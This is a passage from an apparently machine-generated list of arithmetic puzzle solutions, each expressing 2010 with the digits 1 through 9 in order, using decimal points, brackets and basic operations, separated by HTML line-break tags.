/>\n2010 = 12+(.3/.4)*(5*6+7)*8*9<br />\n2010 = 12+(3/.4)*(5*6+7)*.8*9<br />\n2010 = 12+(3/.4)*(5*6+7)*8*.9<br />\n2010 = 12*3*(45+.6*7/.8)/.9<br />\n2010 = 12*3*(45+6*.7/.8)/.9<br />\n2010 = .1-2+.3-4*(.5+.6-7*8*9)<br />\n2010 = (1.2+.3)*4*(.5+6*7*8)-9<br />\n2010 = (1-2/3-45)*6*(.7+.8-9)<br />\n2010 = (1-.2+34)*(5+6*7/.8)+9<br />\n2010 = 1-2*(3+4)*(.5-6*(7+8+9))<br />\n2010 = 1-(2+3*4)*(.5-6*(7+8+9))<br />\n2010 = 1/2-((3-45)*6+.7)*8-.9<br />\n2010 = (1+2+3)*(4+(.5+6*7)*8-9)<br />\n2010 = 1*2*((3/.4-.5+6)*78-9)<br />\n2010 = 1+(2+(3+4)*5*6-7)*(.8+9)<br />\n2010 = 12-3*(.4-56*7*(.8+.9))<br />\n2010 = (1/(.2-3+4))*.5*67*8*9<br />\n2010 = (1/(.2-3+4))*5*67*.8*9<br />\n2010 = (1*(2/3+4)-.5)*67*.8*9<br />\n2010 = (1*2/(.3+4+.5))*67*8*9<br />\n2010 = ((1/.2)*345+6+78)/.9<br />\n2010 = 1+(2+3)*(4-5-6)*7*(.8-9)<br />\n2010 = 1-(2/.3)*4*(.5*6-78)+9<br />\n2010 = 1-(2/.3)*4*(5*.6-78)+9<br />\n2010 = (1*2+3)*(4+5*(.6+7+8*9))<br />\n2010 = 1*(2+3)*(4+5*(.6+7+8*9))<br />\n2010 = 1+(2+(3+4*5+6)*7)*(.8+9)<br />\n2010 = 1+(2+3)*(4+5*6+7)*(.8+9)<br />\n2010 = 12-(.3/.4)*(5-6*7)*8*9<br />\n2010 = 12-(3/.4)*(5-6*7)*.8*9<br />\n2010 = 12-(3/.4)*(5-6*7)*8*.9<br />\n2010 = 1+(2/.3)*45*(6+.7)+8-9<br />\n2010 = 1+(2/.3)*(4+.5)*67+8-9<br />\n2010 = 1+(2+(3-4+5*6)*7)*(.8+9)<br />\n2010 = ((1+2)/.3)*(45+67+89)<br />\n2010 = 1-(23+.4+.5+.6)*(7-89)<br />\n2010 = 1*2*(.3+4+56)*(7+8)/.9<br />\n2010 = 1+(2+3)*(4-5+6*7)*(.8+9)<br />\n2010 = 1-(2+3*(4+5)+6)*7*(.8-9)<br />\n2010 = 1+(2/.34)*(.5+6*7)*8+9<br />\n2010 = 1+(2/.3)*(4+.5*67)*8+9<br />\n2010 = (1.2/.34)*5*6.7*(8+9)<br />\n2010 = (.1*2/.3-4*56)*(7-8)*9<br />\n2010 = (1*.2/.3-4*56)*(7-8)*9<br />\n2010 = 1*(.2/.3-4*56)*(7-8)*9<br />\n2010 = 1.2+3*(4/.5+.6+.7)*8*9<br />\n2010 = (123/.4)*5+(6*7/.8)*9<br />\n2010 = (1.2/.3)*(4.5-6+7*8*9)<br />\n2010 = 1/(.2-.3)-4*(5-6-7*8*9)<br />\n2010 = (1-.2-3/.4)*5*6*(7-8-9)<br />\n2010 = (1+(2/3+.4*5)*678)/.9<br />\n2010 = (1+(2/3+4*.5)*678)/.9<br />\n2010 = (1/.2-3+4)*(.5+6*7*8)-9<br />\n2010 = (1-2*34)*5*6*(.7-.8-.9)<br />\n2010 = (1+(2/3.4)*5)*(6+7*8*9)<br />\n2010 = 1+2-(3/(.4-.5)-6)*7*8-9<br />\n2010 = ((1+2)/.3)*(45*6-78+9)<br />\n2010 = (1*2*3*4*5+.6)*(7+8)/.9<br />\n2010 = 1*(2*3*4*5+.6)*(7+8)/.9<br />\n2010 = 1+.2-(3-(4-.5-.6)*78)*9<br />\n2010 = (1+234/.5)*6*7/(.8+9)<br />\n2010 = 1-(2/.3)*(4+.5-6*7)*8+9<br />\n2010 = 12*(3.4+(5+6)*(7+8)-.9)<br />\n2010 = (.1*2*3+4*5*6)*(7+8)/.9<br />\n2010 = (1*.2*3+4*5*6)*(7+8)/.9<br />\n2010 = (1*2*.3+4*5*6)*(7+8)/.9<br />\n2010 = 1*(.2*3+4*5*6)*(7+8)/.9<br />\n2010 = 1*(2*.3+4*5*6)*(7+8)/.9<br />\n2010 = (1/.2)*3*(45-(6-7)*89)<br />\n2010 = (1-2-3+4*(.5/.6+7*8))*9<br />\n2010 = (1-.2/3-.4-5)*(6-7*8)*9<br />\n2010 = (12/.34)*.5*6.7*(8+9)<br />\n2010 = (12/3.4)*5*67*(.8+.9)<br />\n2010 = ((1/.2)*3-45)*67*(8-9)<br />\n2010 = (1+(.2+3)*45)*(6+7.8)+9<br />\n2010 = 12*34*5+.6/(.7-.8*.9)<br />\n2010 = (1+.2)*(34-.5)*(67-8-9)<br />\n2010 = (1+2)*(3-4/.5+(67+8)*9)<br />\n2010 = (1+2+3)*(.4-.5+6*7*8-.9)<br />\n2010 = (1-2-3)*(.4+.5+.6-7*8*9)<br />\n2010 = (1+23)*(4-5+6+(7/.8)*9)<br />\n2010 = (1+.2+.3)*4*(.5+6*7*8)-9<br />\n2010 = ((1+23)/4)*(.5+6*7*8)-9<br />\n2010 = ((1-2)/.3)*(4-56-7-8)*9<br />\n2010 = 1*2*3*(.4*.5+6*(7-.8)*9)<br />\n2010 = (1+((2+3)*45-6+7)*8)/.9<br />\n2010 = (1/.2)*((3+4)*56-7+8+9)<br />\n2010 = (1/.2)*((3-4+56)*7+8+9)<br />\n2010 = ((12/.3)*45-6+7+8)/.9<br />\n2010 = (.1*2/.3+4-.5)*67*.8*9<br />\n2010 = (1*.2/.3+4-.5)*67*.8*9<br />\n2010 = (1/.2)*(3+(4-5+6)*78+9)<br />\n2010 = .1*(.2/.3+4-.5)*67*8*9<br />\n2010 = 1*(.2/.3+4-.5)*67*.8*9<br />\n2010 = (1/(2.3-.4+.5))*67*8*9<br />\n2010 = (1+2.3/.4)*5*6.7*8/.9<br />\n2010 = ((1-2)/(3-.4-5))*67*8*9<br />\n2010 = (1-(2-3*(4+5+67))*8)/.9<br />\n2010 = 1*((2+34)*(.5/6+7*8)-9)<br />\n2010 = ((1-2)/.3+45)*6.7*.8*9<br />\n2010 = (1+2.3*4)*5*67/(.8+.9)<br />\n2010 = (1/.2-(3+4)*5)*67*(8-9)<br />\n2010 = (1/.2)*(3-4-5)*67*(8-9)<br />\n2010 = (1+2)*34*5*6.7/(.8+.9)<br />\n2010 = ((1-.2)*34-.5)*67/.89<br />\n2010 = (12+3)*4*5*(6-.7/(8-9))<br />\n2010 = (1+2+3)*((4/.5)*6*7+8-9)<br />\n2010 = 12*(3/.4+(5+6+7)*8/.9)<br />\n2010 = 1+.2+3*(4/.5+.6+.7)*8*9<br />\n2010 = 12*3*(4+(5*6+7)/.8)/.9<br />\n2010 = (12/.3+.4*.5)*(67-8-9)<br />\n2010 = 1+(2/.3)*(4+(5*6+7)*8)+9<br />\n2010 = ((1.2/.3)*456-7-8)/.9<br />\n2010 = (1+(234-5.6/.7)*8)/.9<br />\n2010 = 1+((2+3)*4/.5)*(6*7+8)+9<br />\n2010 = (1.2/.3)*(4+.5-6+7*8*9)<br />\n2010 = (1*2*3/.4)*(5-6+(7+8)*9)<br />\n2010 = (1/.2)*((3-4*5)*6+7*8*9)<br />\n2010 = 12*(34*5-6/(.7+.8+.9))<br />\n2010 = (1/.2)*(3+4+5+6*(7*8+9))<br />\n2010 = (1+(.2+3)*45)*(6+7+.8)+9<br />\n2010 = 1+(2/.3)*(4*(5+6)*7-8)+9<br />\n2010 = 12*3*(4-(5-6*7)/.8)/.9<br />\n2010 = 1+(2/.3)*(4-(5-6*7)*8)+9<br />\n2010 = (1/.2)*(3+(4+5+6*7)*8-9)<br />\n2010 = 1+((2+3)*4*56/.7)/.8+9<br />\n2010 = (1+(23*4/.5+6*7)*8)/.9<br />\n2010 = ((1+2-.3)/.4)*5*67*8/9<br />\n2010 = ((1+2-.3)/4)*5*67*8/.9<br />\n2010 = 1+((2*3/.4)/.5)*67+8-9<br />\n2010 = ((1+2)*3+4*5*6*(7+8))/.9<br />\n2010 = 12-3*(.4-(5+.6)*7*(8+9))<br />\n2010 = (1-2)*(3+4*(.5/6-7*8)*9)<br />\n2010 = (1+23/4)*5*(6+.7)*8/.9<br />\n2010 = (1+(2+.3)/.4)*5*67*8/9<br />\n2010 = (1+2.3/.4)*.5*67*8/.9<br />\n2010 = (1+2.3/.4)*5*67*.8/.9<br />\n2010 = 12*(3+.4+(5+6)*(7+8)-.9)<br />\n2010 = (1+2+(.3/4)*5)*67*8/.9<br />\n2010 = (1+2+(3/4)*.5)*67*8/.9<br />\n2010 = (12/.3-4)*(.5/6+7*8)-9<br />\n2010 = (1*(2-3)+4*(.5/6+7*8))*9<br />\n2010 = 12+3*(.4/(.5-.6)+78)*9<br />\n2010 = 1+(23+4*(.5+6)*7)*(.8+9)<br />\n2010 = .1*(2-34*(.5-67)*8)/.9<br />\n2010 = ((1+2)*(3+4)-.5/6+7)*8*9<br />\n2010 = ((.1-.2)/3+.45)*67*8*9<br />\n2010 = ((1*2/.3)*4*5+6*(7+8))*9<br />\n2010 = 1*((2/.3)*4*5+6*(7+8))*9<br />\n2010 = 1-((2+3)*4/.5)*(6-7*8)+9<br />\n2010 = (1/.2)*3*(4+5+6+7*(8+9))<br />\n2010 = (1+23*.4)*5*67/(.8+.9)<br />\n2010 = 1-(2-3*(.4*5+67))*(.8+9)<br />\n2010 = 1-(2-3*(4*.5+67))*(.8+9)<br />\n2010 = (1+2)*34*.5*67/(.8+.9)<br />\n2010 = (12+3)*4*5*(6-7*(.8-.9))<br />\n2010 = (1/.2)*(3+4+5-6*(7-8*9))<br />\n2010 = (.1-.2/3-4.5)*(6-7*8)*9<br />\n2010 = 1+(2+34)*56+.7/(.8-.9)<br />\n2010 = .1+(234+.5)*6/.7+.8-.9<br />\n2010 = (.1+(23/.4)*5-.6)*7-8+9<br />\n2010 = (1+((2+34.5)*6+7)*8)/.9<br />\n2010 = (1/.2-3-4*(.5/6-7)*8)*9<br />\n2010 = 12+(3/.4)*(5-.6-.7)*8*9<br />\n2010 = 12+(3/.4)*(.5*6+.7)*8*9<br />\n2010 = 12+(3/.4)*(5*.6+.7)*8*9<br />\n2010 = ((12/.3)*45.6-7-8)/.9<br />\n2010 = 12*3*(.4*.5/6+(7-.8)*9)<br />\n2010 = (.1-(2-.3)*4)*5*6*(7-8-9)<br />\n2010 = (1/.2-3-45*6)*(.7+.8-9)<br />\n2010 = (.1-2*(3+.4))*5*6*(7-8-9)<br />\n2010 = (1-2*34)*5*6/(.7-.8-.9)<br />\n2010 = (1+(2+.3/.45)*678)/.9<br />\n2010 = (1+2)/.3+4*5*6*(7+8)/.9<br />\n2010 = (1/(2+.3-.4+.5))*67*8*9<br />\n2010 = (.1+.23/.4)*5*67*8/.9<br />\n2010 = ((1*2/.3)/4)*(56+78)*9<br />\n2010 = 1-(.2-3)*(4-.5+6*7*(8+9))<br />\n2010 = (1-.2+3*(4+5)*67-.8)/.9<br />\n2010 = .1+(2/.3)*4.5*67+.8-.9<br />\n2010 = .1+(2/.3)*45*6.7+.8-.9<br />\n2010 = (1/.2)*(34-5)*(6+7.8)+9<br />\n2010 = ((1+23)*(4+5)*67/.8)/9<br />\n2010 = ((1+23)*(4+5)*67/8)/.9<br />\n2010 = 1-(2+3)*(4+.5*6)*7*(.8-9)<br />\n2010 = 1-(2+3)*(4+5*.6)*7*(.8-9)<br />\n2010 = (12/3.4)*5*(6+.7)*(8+9)<br />\n2010 = (12/(3+.4))*5*6.7*(8+9)<br />\n2010 = ((1/.2)*3-45)*67/(8-9)<br />\n2010 = (1-2.3*(4-56))*(7+8)/.9<br />\n2010 = (12-3)*4*(56-(.7+.8)/9)<br />\n2010 = (1/(.2-3)+4*5*6)*(7.8+9)<br />\n2010 = (1*2+34)*(56-(.7+.8)/9)<br />\n2010 = 1*(2+34)*(56-(.7+.8)/9)<br />\n2010 = (1+(2/.3+4*5)*67.8)/.9<br />\n2010 = (.1/.2)*3*4*(.5+6*7*8)-9<br />\n2010 = (1/.2)*.3*4*(.5+6*7*8)-9<br />\n2010 = (1/.2)*3*.4*(.5+6*7*8)-9<br />\n2010 = (1+(23-.4)*(5+67+8))/.9<br />\n2010 = (.1-(.2-3-45)*6)*7+.8+.9<br />\n2010 = (((1-2)/3)/4+.5)*67*8*9<br />\n2010 = 1*(23*((.4+5)/.6+78)+9)<br />\n2010 = ((1/.2)/(3+4+5))*67*8*9<br />\n2010 = (1-23*(4/5-6))*(7+8)/.9<br />\n2010 = (1-.2/.3+4-5*6*(.7-8))*9<br />\n2010 = ((1/2-34)/.5)*(6*7-8*9)<br />\n2010 = ((1+2)*3-4)*(5*(.6+78)+9)<br />\n2010 = (1-(2-3)*4)*(5*(.6+78)+9)<br />\n2010 = (1/.2-(3+4)*5)*67/(8-9)<br />\n2010 = (1/.2)*(3-4-5)*67/(8-9)<br />\n2010 = (1/.2)*(.34+5)*67/.89<br />\n2010 = (.1-.2/3-4-.5)*(6-7*8)*9<br />\n2010 = (1+(2/3)*(4+5*67)*8)/.9<br />\n2010 = (12/(3+.4))*.5*67*(8+9)<br />\n2010 = (1.2/.34)*5*67*(.8+.9)<br />\n2010 = (12/.34)*5*6.7*(.8+.9)<br />\n2010 = 1-(.2+3.4*(5+67))*(.8-9)<br />\n2010 = (1/.2)*(34-.5)*(6+7+8-9)<br />\n2010 = (.1/2-.3+4)*(5+(67-8)*9)<br />\n2010 = (1+2+.3/.4)*(5+(67-8)*9)<br />\n2010 = (.1+(2+3)*4)*(5+(6+7)*8-9)<br />\n2010 = (1/.2)*(34-5)*(6+7+.8)+9<br />\n2010 = (1+2)*3*4*(56-(.7+.8)/9)<br />\n2010 = (1+(2/.34)*.5)*(6+7*8*9)<br />\n2010 = (1*2/.3)*(4+.5*(67-8))*9<br />\n2010 = (1+((2+34+.5)*6+7)*8)/.9<br />\n2010 = 1-(((.2-34)*5-6)/.7)*8+9<br />\n2010 = 1/(.2-.3)-4*((5-67)*8-9)<br />\n2010 = (.1/.2-34)*(5-67+8)/.9<br />\n2010 = (1+23-4)*(.5+6*(7+8)/.9)<br />\n2010 = 12*(3-4*(5-(6-.7/.8)*9))<br />\n2010 = 1+(2+((3+4)*5-6)*7)*(.8+9)<br />\n2010 = (1-(2-34*(.5+6)-7)*8)/.9<br />\n2010 = 1-((2-(3+4)*5)*6-7)*(.8+9)<br />\n2010 = .1+2+(.3-4*(.5*.6-7*8))*9<br />\n2010 = 1-(2+3*(4+(5+6)*7))*(.8-9)<br />\n2010 = (1/(2-3)+4*(.5/6+7*8))*9<br />\n2010 = ((1+2*34*5-6)/(.7+.8))*9<br />\n2010 = (.1*2-3.4*(.5-67)*8)/.9<br />\n2010 = (1*.2-3.4*(.5-67)*8)/.9<br />\n2010 = 1*(.2-3.4*(.5-67)*8)/.9<br />\n2010 = ((12+3*4)*5+.6)*(7+8)/.9<br />\n2010 = (1+(2*3+4)*5)*67/(.8+.9)<br />\n2010 = 1-(2+(.3/.4)*5*6)*(7-89)<br />\n2010 = 1-(2+(3/.4)*.5*6)*(7-89)<br />\n2010 = 1-(2+(3/.4)*5*.6)*(7-89)<br />\n2010 = (1+2+(.3+4)*5*(6+78))/.9<br />\n2010 = (1+(.2-3)/.4)*5*67*(8-9)<br />\n2010 = (1+2)*(3*4+5)*67/(.8+.9)<br />\n2010 = (.1-.2/.3+4*56+.7-.8)*9<br />\n2010 = (1-(2-3*4)*5)*67/(.8+.9)<br />\n2010 = 1-(2+3*(4+.5)/.6)*(7-89)<br />\n2010 = (12/.34)*.5*67*(.8+.9)<br />\n2010 = (1/(.2-.3)-4*5)*67*(8-9)<br />\n2010 = (1*2/.3)*45*(6-.7*(8-9))<br />\n2010 = 1-(2-3*(4+5*(6+7)))*(.8+9)<br />\n2010 = (1+23)*(.4+.5+67/.8-.9)<br />\n2010 = 1.2+(3*4/.5)*(.6+.7+8)*9<br />\n2010 = 12*((.3-.4+5)*(6*7-8)+.9)<br />\n2010 = 1+((.2+3)/.4)*5*(6*7+8)+9<br />\n2010 = 12*(34-.5)*(6-.7-.8)/.9<br />\n2010 = ((1-2)/.3)*(4/5-67.8)*9<br />\n2010 = (1/(.2-3)+4*5*6)*(7+.8+9)<br />\n2010 = (1*2+(3-4*(.5/.6-7))*8)*9<br />\n2010 = 1*(2+(3-4*(.5/.6-7))*8)*9<br />\n2010 = ((1+2)/.3-4)*(.5+6*7*8)-9<br />\n2010 = (1/(.2/3-.4))*(5-678)-9<br />\n2010 = (1+(2+3/(4+.5))*678)/.9<br />\n2010 = (1-.2/(3-.4)+5*6)*(7*8+9)<br />\n2010 = 12*(.3-4*(5-6*(.7+8-.9)))<br />\n2010 = 1-(2+(3/(.4-.5)-6)*7)*8+9<br />\n2010 = 12*(.3-4*(5*(.6-7)-.8-9))<br />\n2010 = 1*((2/.3)*(4+5*6+.7)-8)*9<br />\n2010 = ((1*2/.3)*(4+5*6+.7)-8)*9<br />\n2010 = ((1-2)/.3)*(45+(6-78)*9)<br />\n2010 = (1*2+3)*4*(.5+6*(7+8)/.9)<br />\n2010 = 1-(2/.3)*(4-5*(.6+7)*8)+9<br />\n2010 = 1*(2+3)*4*(.5+6*(7+8)/.9)<br />\n2010 = 1+2+((3/.4)*(5-.6)*7-8)*9<br />\n2010 = ((1+2+3)*4*5+.6)*(7+8)/.9<br />\n2010 = (1/.2)*3*4*((.5-6)*7+8*9)<br />\n2010 = (.1+(2+.3)/4)*5*67*8/.9<br />\n2010 = (1-(.2/3)/.4)*.5*67*8*9<br />\n2010 = (1-(.2/3)/.4)*5*67*.8*9<br />\n2010 = 12*(.3+4*(5*(6+.7*.8)+9))<br />\n2010 = (.1*2-34*(.5-67)*.8)/.9<br />\n2010 = (1*.2-34*(.5-67)*.8)/.9<br />\n2010 = 1*(.2-34*(.5-67)*.8)/.9<br />\n2010 = 1+((2-3-4*5)/.6)*7*(.8-9)<br />\n2010 = 1-((.2+.3+4)*56-7)*(.8-9)<br />\n2010 = 1-((.2+3)/.4)*5*(6-7*8)+9<br />\n2010 = (1/(.2+3-.4/.5))*67*8*9<br />\n2010 = ((1+.2/3+4)*(.5+6*7)+8)*9<br />\n2010 = 1+(2/.3)*(4+5*(6+.7))*8+9<br />\n2010 = (1/.2)*3*4*5*(6-.7*(8-9))<br />\n2010 = 1+(2-3*(4+5/.6))*7*(.8-9)<br />\n2010 = 1*((23/.4)*5-.6)*7+.8+.9<br />\n2010 = (.1-2)/.3+4*(.5/6+7*8*9)<br />\n2010 = ((.1+.2)/.3-4)*(5-678)-9<br />\n2010 = (1-.2/.3-45)*6*(.7+.8-9)<br />\n2010 = ((1*23/.4)*5-.6)*7+.8+.9<br />\n2010 = .1/.2-((3-45)*6+.7)*8-.9<br />\n2010 = (1+2+3)*(.4*.5+6*(7-.8)*9)<br />\n2010 = .1+.2+(.3+4*5)*(6*(7+8)+9)<br />\n2010 = ((1-2*34)/.5)*(6*(7-8)-9)<br />\n2010 = ((.1/2+3*4+.5)/.6+7)*8*9<br />\n2010 = ((1+2)/.3)*((45-6)*7-8*9)<br />\n2010 = ((1-(23+4)*5)/.6)*(7-8)*9<br />\n2010 = ((1+(23/.4)*5)*6+78)/.9<br />\n2010 = (1.2/.3)*((4-5)/6+7*8)*9<br />\n2010 = 1/.2+(.3+4*5*6)*(7+8)/.9<br />\n2010 = (1*(.2/.3+4)-.5)*67*.8*9<br />\n2010 = (1+(.2/.3)*4+.5)*67*.8*9<br />\n2010 = (1+(2+3)/.4)*(56+78)/.9<br />\n2010 = 1+2*(.3-4*(5*6+.7))*(.8-9)<br />\n2010 = ((1+2)/3+4)*(5*(.6+78)+9)<br />\n2010 = ((.1-2+3*45)/.6+.7+.8)*9<br />\n2010 = (12+3)*((4+5)/.6+7*(8+9))<br />\n2010 = (1.2/.34)*5*(6+.7)*(8+9)<br />\n2010 = ((1+.2)/.34)*5*6.7*(8+9)<br />\n2010 = ((1-2)/.3)*(4+5)*67*(8-9)<br />\n2010 = (1-23*(.4-5.6))*(7+8)/.9<br />\n2010 = (1/.2)*((34/.5)*6-7-8+9)<br />\n2010 = (12/.3)*((4*5+6+7)/.8+9)<br />\n2010 = ((1-2)/.3)*(4-(5+6)*7*8+9)<br />\n2010 = ((1+2)/.3)*(4*(5-6+7)*8+9)<br />\n2010 = 1+.2+(3*4/.5)*(.6+.7+8)*9<br />\n2010 = (12/.3)*(.45-6+(7-.8)*9)<br />\n2010 = ((1+.2)/.3)*(4.5-6+7*8*9)<br />\n2010 = (1*2/.3)*(.4-.5+6*.7*8)*9<br />\n2010 = (.1+.2-3)*(4/.5-678)/.9<br />\n2010 = ((1+2+3)/.4)*(5-6+(7+8)*9)<br />\n2010 = ((.1-.2)/3+4.5)*(6*7+8)*9<br />\n2010 = (1-(2+3*(4-56/.7))*8)/.9<br />\n2010 = (1+(2/(3+.4))*5)*(6+7*8*9)<br />\n2010 = (1*2/.3)*(4+5*(6.7-.8))*9<br />\n2010 = (1/.2)*(3+(4*(5+6)+7)*8-9)<br />\n2010 = (1/.2)*3*((4+5)*(6+7)+8+9)<br />\n2010 = ((1-2)/.3)*(4/.5-67-8)*9<br />\n2010 = ((1-2)/.3)*(4/5-67-.8)*9<br />\n2010 = (1+2)*(3+(4/.5+67)*8)/.9<br />\n2010 = (1+2)*(3+(4/.5)*67/.8)-9<br />\n2010 = (1+2+3*4)*((5/.6)*(7+8)+9)<br />\n2010 = (((1-2)/.3)/4+5)*67*.8*9<br />\n2010 = (((1-2)/3)/.4+5)*67*.8*9<br />\n2010 = (1/.2)*(3+(4*5+6)*(7+8)+9)<br />\n2010 = (1/.2)*(3*(45/.6+7*8)+9)<br />\n2010 = (.1+.2+.3+4*5*6)*(7+8)/.9<br />\n2010 = (1/.2)*(3-(4-5*6)*(7+8)+9)<br />\n2010 = (1+(.2-3)/.4)*5*67/(8-9)<br />\n2010 = 1-(23+(.4+.5)/.6)*(7-89)<br />\n2010 = 1-((2+34)*(.5-6)-7)*(.8+9)<br />\n2010 = (12/.34)*.5*(6+.7)*(8+9)<br />\n2010 = (12/(3+.4))*5*67*(.8+.9)<br />\n2010 = ((.1*2/.3-4*56)/(7-8))*9<br />\n2010 = ((1*.2/.3-4*56)/(7-8))*9<br />\n2010 = (1*(.2/.3-4*56)/(7-8))*9<br />\n2010 = (1/(.2-.3)-4*5)*67/(8-9)<br />\n2010 = (1*2/.3)*45*(6-.7/(8-9))<br />\n2010 = (1+(23-.4)*(.5*6+7)*8)/.9<br />\n2010 = (1+(23-.4)*(5*.6+7)*8)/.9<br />\n2010 = ((.1-2/.3)*4-5)*(6/7-8)*9<br />\n2010 = (1+(2/(.3+.45))*678)/.9<br />\n2010 = ((1+2-.3)/.4)*5*6.7*8/.9<br />\n2010 = (1+2.3/.4)*5*(6+.7)*8/.9<br />\n2010 = (1+(2+.3)/.4)*5*6.7*8/.9<br />\n2010 = (1-23*(.4-5-.6))*(7+8)/.9<br />\n2010 = 1-((23-.4*5)/.6)*7*(.8-9)<br />\n2010 = 1-((23-4*.5)/.6)*7*(.8-9)<br />\n2010 = .1*.2-(.3+.4-5*6)*7*(.8+9)<br />\n2010 = ((1-2)/.3+45)*(6+.7)*.8*9<br />\n2010 = ((.1-.2)/.3+4.5)*67*.8*9<br />\n2010 = (1+(2+.3)*4)*5*67/(.8+.9)<br />\n2010 = 1+(2+(3+4*(.5+6))*7)*(.8+9)<br />\n2010 = (1+2)*34*5*(6+.7)/(.8+.9)<br />\n2010 = (1/.2)*3*4*5*(6-.7/(8-9))<br />\n2010 = (1*2/.3)*45*(6-7*(.8-.9))<br />\n2010 = (1*2/.3)*((4+5)*.6*7*8-.9)<br />\n2010 = (1*2/.3)*((4+5)*6*.7*8-.9)<br />\n2010 = (1*2/.3)*((4+5)*6*7*.8-.9)<br />\n2010 = ((1/.2)*3/4)*(5+(67-8)*9)<br />\n2010 = ((1/2)*3/.4)*(5+(67-8)*9)<br />\n2010 = (((1+.2)/.3)*456-7-8)/.9<br />\n2010 = (1+(234-(5+.6)/.7)*8)/.9<br />\n2010 = ((.1-.2)/3+4+.5)*(6*7+8)*9<br />\n2010 = ((1+.2)/.3)*(4+.5-6+7*8*9)<br />\n2010 = (1-2-3)*((.4+.5)/.6-7*8*9)<br />\n2010 = (.1*2+(.3-45)*6)*(.7+.8-9)<br />\n2010 = (1*.2+(.3-45)*6)*(.7+.8-9)<br />\n2010 = 1*(.2+(.3-45)*6)*(.7+.8-9)<br />\n2010 = ((1-.2)*3/.4)*(.5+6*7*8)-9<br />\n2010 = (1/(.2+.3)+4)*(.5+6*7*8)-9<br />\n2010 = (1*2/.3)*(4+5*(6+.7-.8))*9<br />\n2010 = ((1-2*34)/.5)*(6/(7-8)-9)<br />\n2010 = ((.1/2+3/.4+5)/.6+7)*8*9<br />\n2010 = ((1+2-.3)/.4)*.5*67*8/.9<br />\n2010 = ((1+2-.3)/.4)*5*67*.8/.9<br />\n2010 = 1+((2/.3+.4)*5*6-7)*(.8+9)<br />\n2010 = (1/.2)*((34/.5)*6-7.8)+9<br />\n2010 = (1+(2+.3)/.4)*.5*67*8/.9<br />\n2010 = (1+(2+.3)/.4)*5*67*.8/.9<br />\n2010 = (1+2+(.3/.4)*.5)*67*8/.9<br />\n2010 = (1/(.2-.3+.4))*(5+6+7*8)*9<br />\n2010 = ((1+.2/.3+4)*5*(.6+7)+8)*9<br />\n2010 = 1-(2*3*(4-.5)/.6)*7*(.8-9)<br />\n2010 = ((1-2)/.3)*(4+5)*67/(8-9)<br />\n2010 = (1/.2)*3*4*5*(6-7*(.8-.9))<br />\n2010 = ((.1+(2+3)*4)/.5)*(67-8-9)<br />\n2010 = ((12/.3)*(45+.6)-7-8)/.9<br />\n2010 = (12/.3-4)*(56-(.7+.8)/9)<br />\n2010 = ((1-2*34)/(.5+(6-7)*.8))*9<br />\n2010 = ((1+23)/.4)*((.5-6)*7+8*9)<br />\n2010 = .1*.2+(3+4)*(5*6-.7)*(.8+9)<br />\n2010 = ((1-2+3)/.4)*(5*(.6+78)+9)<br />\n2010 = (1+(23/(.4+5))*6*(.7+8))*9<br />\n2010 = .1+(2/.3)*45*(6+.7)+.8-.9<br />\n2010 = .1+(2/.3)*(4+.5)*67+.8-.9<br />\n2010 = ((1+2)/(.3*4+.5))*67*(8+9)<br />\n2010 = ((1+2)/(3*.4+.5))*67*(8+9)<br />\n2010 = (12/(3+.4))*5*(6+.7)*(8+9)<br />\n2010 = ((12/.3)*45+.6*(7+8))/.9<br />\n2010 = (1-(2+.3)*(4-56))*(7+8)/.9<br />\n2010 = ((1+23)/.4)*5*(6-.7*(8-9))<br />\n2010 = (1/.2)*((34/.5)*6-7-.8)+9<br />\n2010 = ((12+3)/.4)*(56-.7-.8-.9)<br />\n2010 = 1-((.2-3)/.4)*((5*6+7)*8-9)<br />\n2010 = (12*3/.4)*(5+(.6+7+8)/.9)<br />\n2010 = ((1+2)/.3)*(4+5*(6*7-.8)-9)<br />\n2010 = (1+(2/.3+4*5)*(67+.8))/.9<br />\n2010 = 1-((.2-3)/.4)*(5+6*(7*8-9))<br />\n2010 = (1*2/.3)*4*((.5+67)/.8-9)<br />\n2010 = 1+((.2-3)/.4)*((5-6*7)*8+9)<br />\n2010 = (12/.3)*((.4+5+6*7)/.8-9)<br />\n2010 = ((12+3)*4/.5+.6)*(7+8)/.9<br />\n2010 = (1+(2-(3+4)*5*(.6-7))*8)/.9<br />\n2010 = 1+(2+3)*((4/.5)*6-7)*(.8+9)<br />\n2010 = (12/3)*((.4-.5)/.6+7*8)*9<br />\n2010 = ((1/2)/(.3+.4+.5))*67*8*9<br />\n2010 = (1-23*(.4/.5-6))*(7+8)/.9<br />\n2010 = (1/.2)*(3+(4-.5)*(6*7+8*9))<br />\n2010 = ((.1/.2-34)/.5)*(6*7-8*9)<br />\n2010 = ((1-2)*3/.4)*(5*(.6-7*8)+9)<br />\n2010 = (1/.2)*(3+4*(.5+6)*(7+8)+9)<br />\n2010 = (1+(2/.3)*4*(.5+67)+8)/.9<br />\n2010 = (.1-2)*(34-.5)*6/(.7-.89)<br />\n2010 = (1+(2/.3)*(4+5*67)*.8)/.9<br />\n2010 = (12/.34)*5*(6+.7)*(.8+.9)<br />\n2010 = ((1+.2)/.34)*5*67*(.8+.9)<br />\n2010 = (((1+2)/3.4)/.5)*67*(8+9)<br />\n2010 = 1-(.2+(3+.4)*(5+67))*(.8-9)<br />\n2010 = 1*(((23/.4)*5-.6)*7+.8+.9)<br />\n2010 = 1*(((23/.4)*5-.6)*7+.8)+.9<br />\n2010 = ((1/.2+3)/.4)*5*(6+7+8-.9)<br />\n2010 = ((1.2+.3)/.4)*(5+(67-8)*9)<br />\n2010 = (1/(.2+.3)-4*(.5/6-7)*8)*9<br />\n2010 = (1/(.2+.3)-45*6)*(.7+.8-9)<br />\n2010 = (1*2/.3)*(.4+.5*(67-.8))*9<br />\n2010 = (1-((.2-3/.4)*5*6-7)*8)/.9<br />\n2010 = (1-(.2/.3-4)*(.5+67-.8))*9<br />\n2010 = (1/.2+(3/.4)*5*6)*(.7+8)+9<br />\n2010 = (.1*2-(3+.4)*(.5-67)*8)/.9<br />\n2010 = (1*.2-(3+.4)*(.5-67)*8)/.9<br />\n2010 = 1*(.2-(3+.4)*(.5-67)*8)/.9<br />\n2010 = 1-((2/.3)*4+5/.6)*7*(.8-9)<br />\n2010 = 1-(.2-3*(4+5)*(.6+7))*(.8+9)<br />\n2010 = ((12+3)/.4)*(.5+(67-8)*.9)<br />\n2010 = (1/(.2/3-.4))*(5-(67+8)*9)<br />\n2010 = ((1-2)/.3)*(.4/.5-67.8)*9<br />\n2010 = (1+2)*(3+(4/.5)*(67+8))/.9<br />\n2010 